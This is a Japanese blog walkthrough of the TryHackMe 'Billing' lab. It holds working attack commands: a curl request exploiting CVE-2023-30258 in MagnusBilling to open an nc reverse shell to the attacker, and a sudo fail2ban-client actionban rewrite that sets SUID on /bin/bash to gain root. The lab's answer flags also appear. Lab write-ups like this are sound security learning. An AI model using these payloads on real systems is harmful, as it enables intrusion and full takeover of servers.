0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Billing:Walkthrough

0
Posted at

概要

TryHackMe「Billing」のWalkthroughです。

Task1

Q1.What is user.txt?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sCV -p- 10.49.152.128 -oN nmap_result

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey: 
|   256 f3:22:6f:e0:06:57:4d:0c:91:78:e7:22:56:7c:d5:45 (ECDSA)
|_  256 bd:5a:0b:ea:5c:09:ce:75:8f:4f:cf:c9:fd:9d:96:57 (ED25519)
80/tcp   open  http     Apache httpd 2.4.62 ((Debian))
| http-title:             MagnusBilling        
|_Requested resource was http://10.49.152.128/mbilling/
|_http-server-header: Apache/2.4.62 (Debian)
| http-robots.txt: 1 disallowed entry 
|_/mbilling/
3306/tcp open  mysql    MariaDB 10.3.23 or earlier (unauthorized)
5038/tcp open  asterisk Asterisk Call Manager 2.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 9.2p1
80 http Apache/2.4.62
3306 mysql MariaDB 10.3.23 or earlier
5038 asterisk Asterisk Call Manager 2.10.6

TOPページにアクセスすると、ログインフォームが表示されました。

image.png

ディレクトリスキャンをします。

$ dirsearch -u http://10.49.152.128/mbilling/

[09:03:22] 301 -  325B  - /mbilling/archive  ->  http://10.49.152.128/mbilling/archive/
[09:03:22] 301 -  324B  - /mbilling/assets  ->  http://10.49.152.128/mbilling/assets/
[09:03:22] 200 -  413B  - /mbilling/assets/
[09:03:34] 200 -    4KB - /mbilling/CONTRIBUTING.md
[09:03:35] 200 -    0B  - /mbilling/cron.php
[09:03:55] 200 -  332B  - /mbilling/index.php
[09:04:00] 301 -  321B  - /mbilling/lib  ->  http://10.49.152.128/mbilling/lib/
[09:04:00] 200 -  600B  - /mbilling/lib/
[09:04:00] 200 -    7KB - /mbilling/LICENSE
[09:04:08] 200 -    2KB - /mbilling/modern.json                             
[09:04:08] 200 -    2KB - /mbilling/modern.jsonp
[09:04:25] 200 -    2KB - /mbilling/README.md
[09:04:26] 301 -  327B  - /mbilling/resources  ->  http://10.49.152.128/mbilling/resources/
[09:04:26] 200 -    0B  - /mbilling/resources/
[09:04:41] 301 -  321B  - /mbilling/tmp  ->  http://10.49.152.128/mbilling/tmp/
[09:04:41] 200 -  411B  - /mbilling/tmp/

/mbilling/README.mdにアクセスし、MagnusBilling 7を使用していると分かりました。

image.png

該当バージョンの脆弱性を探すと、CVE-2023-30258がヒットしました。

PoCは下記リポジトリの内容を参考しました。

curlを使用し、リバースシェルを張るペイロードを投げます。

$ curl -s 'http://10.49.152.128/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.132.62 1234 >/tmp/f;'

asteriskアカウントでリバースシェルを張れました。

$ rlwrap nc -lnvp 1234
listening on [any] 1234 ...
connect to [192.168.132.62] from (UNKNOWN) [10.49.152.128] 50998
sh: 0: can't access tty; job control turned off
$ whoami
asterisk

TTYの設定をします。

$ python3 -c 'import pty;pty.spawn("/bin/bash")'

/home/magnus/user.txtからユーザーフラグを入手できました。

asterisk@ip-10-49-152-128:/home/magnus$ cat user.txt
cat user.txt
THM{4a6831d5f124b25eefb1e92e0f0da4ca}

A.THM{4a6831d5f124b25eefb1e92e0f0da4ca}

Q2.What is root.txt?

sudo -lで確認すると、/usr/bin/fail2ban-clientが設定されています。

asterisk@ip-10-49-152-128:/var/www/html/mbilling/lib/icepay$ sudo -l
sudo -l
Matching Defaults entries for asterisk on ip-10-49-152-128:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for asterisk:
    Defaults!/usr/bin/fail2ban-client !requiretty

User asterisk may run the following commands on ip-10-49-152-128:
    (ALL) NOPASSWD: /usr/bin/fail2ban-client

fail2banの設定ファイルを編集し、actionbanオプションでの権限昇格テクニックを、紹介したブログを見つけました。

ただ、設定ファイルが読み取り専用なので、ブログの通りでは権限昇格出来ません。

asterisk@ip-10-49-163-105:/var/www/html/mbilling/lib/icepay$ ls -la /etc/fail2ban/action.d/iptables-multiport.conf
< -la /etc/fail2ban/action.d/iptables-multiport.conf         
-rw-r--r-- 1 root root 232 Nov  9  2022 /etc/fail2ban/action.d/iptables-multiport.conf

helpオプションを見ると、setオプションでactionbanを設定できると分かりました。

image.png

現在設定されているJAILを確認します。

asterisk@ip-10-49-163-105:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client status
<ng/lib/icepay$ sudo /usr/bin/fail2ban-client status         
Status
|- Number of jail:      8
`- Jail list:   ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager, ip-blacklist, mbilling_ddos, mbilling_login, sshd

asterisk@ip-10-49-163-105:/var/www/html/mbilling/lib/icepay$ cat /etc/fail2ban/jail.local
<l/mbilling/lib/icepay$ cat /etc/fail2ban/jail.local         

[DEFAULT]
ignoreip = 127.0.0.1
bantime  = 600
findtime  = 600
maxretry = 3
backend = auto
usedns = warn


[asterisk-iptables]   
enabled  = true           
filter   = asterisk       
action   = iptables-allports[name=ASTERISK, port=all, protocol=all]   
logpath  = /var/log/asterisk/messages 
maxretry = 5  
bantime = 600

[ast-cli-attck]   
enabled  = true           
filter   = asterisk_cli     
action   = iptables-allports[name=AST_CLI_Attack, port=all, protocol=all]
logpath  = /var/log/asterisk/messages 
maxretry = 1  
bantime = -1

[asterisk-manager]   
enabled  = true           
filter   = asterisk_manager     
action   = iptables-allports[name=AST_MANAGER, port=all, protocol=all]
logpath  = /var/log/asterisk/messages 
maxretry = 1  
bantime = -1

[ast-hgc-200]
enabled  = true           
filter   = asterisk_hgc_200     
action   = iptables-allports[name=AST_HGC_200, port=all, protocol=all]
logpath  = /var/log/asterisk/messages
maxretry = 20
bantime = -1

[mbilling_login]
enabled  = true
filter   = mbilling_login
action   = iptables-allports[name=mbilling_login, port=all, protocol=all]
logpath  = /var/www/html/mbilling/protected/runtime/application.log
maxretry = 3
bantime = 300

[ip-blacklist]
enabled   = true
filter    = ip-blacklist
action    = iptables-allports[name=ASTERISK, protocol=all] 
logpath   = /var/www/html/mbilling/resources/ip.blacklist
maxretry  = 0
findtime  = 15552000
bantime   = -1


[sshd]
enablem=true

[mbilling_ddos]
enabled  = true
filter   = mbilling_ddos
action   = iptables-allports[name=mbilling_ddos, port=all, protocol=all]
logpath  = /var/log/apache2/error.log
maxretry = 20
bantime = 3600

今回はasterisk-iptablesというJAILを使用するので、アクションを確認します。

asterisk@ip-10-49-152-128:/var/www/html/mbilling/protected/config$ sudo /usr/bin/fail2ban-client get asterisk-iptables actions
<r/bin/fail2ban-client get asterisk-iptables actions               
The jail asterisk-iptables has the following actions:
iptables-allports-ASTERISK

iptables-allports-ASTERISKのactionbanで実行されるコマンドを調べます。

asterisk@ip-10-49-163-105:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client get asterisk-iptables action iptables-allports-ASTERISK actionban
<ptables action iptables-allports-ASTERISK actionban         
<iptables> -I f2b-ASTERISK 1 -s <ip> -j <blocktype>

iptables-allports-ASTERISKのactionbanが起動すると、/bin/bashにSUIDが設定されるようなコマンドに編集します。

sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'

再度設定を確認し、変更に成功したと分かりました。

asterisk@ip-10-49-163-105:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client get asterisk-iptables action iptables-allports-ASTERISK actionban
<ptables action iptables-allports-ASTERISK actionban         
chmod +s /bin/bash

手動で適当なIPをブロックします。

asterisk@ip-10-49-163-105:/var/www/html/mbilling/lib/icepay$ sudo /usr/bin/fail2ban-client set asterisk-iptables banip 8.8.8.8
<fail2ban-client set asterisk-iptables banip 8.8.8.8         
1

IPブロックの設定を行ったことにより、actionbanが実行され、/bin/bashにSUIDが設定されました。

asterisk@ip-10-49-163-105:/var/www/html/mbilling/lib/icepay$ ls -la /bin/bash
ls -la /bin/bash
-rwsr-sr-x 1 root root 1265648 Apr 18  2025 /bin/bash

/bin/bashを使用し、ルート権限に昇格出来ました。

asterisk@ip-10-49-163-105:/var/www/html/mbilling/lib/icepay$ /bin/bash -p
/bin/bash -p
bash-5.2# whoami
whoami
root

ルートフラグを入手できました。

bash-5.2# cat /root/root.txt
cat /root/root.txt
THM{33ad5b530e71a172648f424ec23fae60}

A.THM{33ad5b530e71a172648f424ec23fae60}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?